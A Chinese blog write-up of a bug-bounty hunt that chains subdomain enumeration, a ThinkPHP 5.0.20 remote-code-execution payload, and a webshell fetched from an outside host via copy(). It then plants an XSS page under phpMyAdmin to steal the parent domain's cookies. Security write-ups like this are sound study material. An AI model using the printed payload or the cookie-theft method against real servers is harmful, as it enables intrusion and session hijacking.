54

一次成功的子域名劫持

 5 years ago
source link: https://legoc.github.io/2019/03/10/一次成功的子域名劫持/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

之前在先知社区和freebuf上看过关于子域名劫持的文章,一直觉得这种漏洞挺有意思,

但是总感觉很难撞到能利用的,后来有幸目睹了Art3mis师傅进行了一次风骚的子域名劫持,

muI73an.jpg!web

让我看到了实时案例,于是希望着有一天我也能挖个这种洞。

正文

子域名挖掘

在挖某厂商的SRC时,我用了农夫安全的farmscan_domain对他进行了子域名挖掘,

发现了一个子域名为xxxxxx.x.com

访问他发现了 F77rMbr.png!web

然后我意识到了这里有搞头

信息收集

反解析ip 发现他是腾讯云下的服务器

用nmap扫描端口 发现他开放了22 80 888 8888端口

然后直接访问ip时 返回了一个json数据

{"code":0,"msg":"欢迎访问","data":[]}

有个扫出一个后台ip/Admin/login/index.html 这里的验证码不会刷新可进行爆破 经过一番尝试爆破不出密码

访问888端口 回响403

访问8888端口

RVbyIr3.png!web

我只能得到这些信息

这个腾讯云的服务器 用了宝塔面板 宝塔的后台地址我无法得知 有个可爆破的后台

在爆破了后台跟ssh无果之后我几乎放弃

然后我决定再对其进行一次目录爆破

RCE

然后我突然想访问一下这个目录看看他会报什么错xxxx/%3f/

于是最大的转机来了,报错了,最重要的是发现了这个

ThinkPHP V5.0.20 { 十年磨一剑-为API开发设计的高性能框架 }

下意识就想到了thinkphp的漏洞,

虽然看过了水泡泡师傅和chybeta师傅在先知上关于这个漏洞的文章,

但是因为各种原因没有好好复现过这个漏洞在后面插payload的过程中踩了很多坑,

进过多次尝试,终于成功的getshell了

poc

http://xxxx/index.php?s=captcha&lego=copy("http://xxx/lego.txt","test.php")

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=lego

蚁剑连上去

6NRVr22.jpg!web

发现了一个hydra.php的文件,发现被人种过马了,

顺手把这个马删了。

在拿下这个域名的webshell之后,我想对这种漏洞进行一个利用

在这子域名下

携带了一些 *.xxx.com的cookie

于是我便想着上传一个xss页面

利用

直接用域名访问xxxxx/test.php 返回404

vyIfAn3.png!web

ip/test.php 会访问到我的一句话

只有在访问域名的时候浏览器才会携带cookie,用ip访问时浏览器不会携带cookie

意味着,我即使上传了带XSS的html页面,也无法访问到XSS页面。

但是我用域名:8888访问可以访问到宝塔那个页面

我起初想要修改那个页面来实现XSS

如果我们想要修改宝塔的话,就要访问 /www/server/panel/ 目录,

但是我的webshell是没有权限访问那个目录了,除非提权,

但是这又是一台腾讯云的服务器,应该不会出现可以提权的漏洞,

于是我陷入了沉思。。。。。

然后沉思久了我就去WC了,在WC的过程中,我用手机看了一下宝塔官网的用户手册 http://docs.bt.cn/424204

在翻阅之后,我发现了一些有趣的东西,比如我们之前直接用域名访问,发现有那个没找到站点的页面,

其实这个是因为宝塔面板里面没有设置这个域名为解析的域名,所以会出现这种情况。

然后我们需要 /etc/init.d/bt default 才能查看宝塔的后台地址,我用蚁剑发现无法执行命令,估计是权限不够,

所以修改8888端口下的宝塔估计也是凉凉了

在继续翻阅宝塔的用户手册后,我发现了端口888运行了是phpmyadmin,然后我突然感觉到了我应该是可以完成这次利用了,

我找到了phpmyadmin的绝对路径

phpmyadmin_xxxxxxxxx

我们之前直接访问888端口返回的是

UB7zAzQ.jpg!web

当我访问

xxx.com/phpmyadmin_xxxxxxxxx/

成功的跳转到了phpmyadmin的后台

在这个目录下新建一个html页面,访问

子域名:888/phpmyadmin_xxxxxxxxx/test.html

成功弹出cookie

InEfeuz.jpg!web

至此,我的利用已经完成了。

总结

这次渗透不得不说,有很多的运气成分,,主要时间在于信息收集上和学习新的事物上,

第一次挖子域名劫持,第一次认真利用thinkphp的RCE,和第一次真正的接触宝塔面板。

整个过程磕磕碰碰,但感觉收获了很多。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK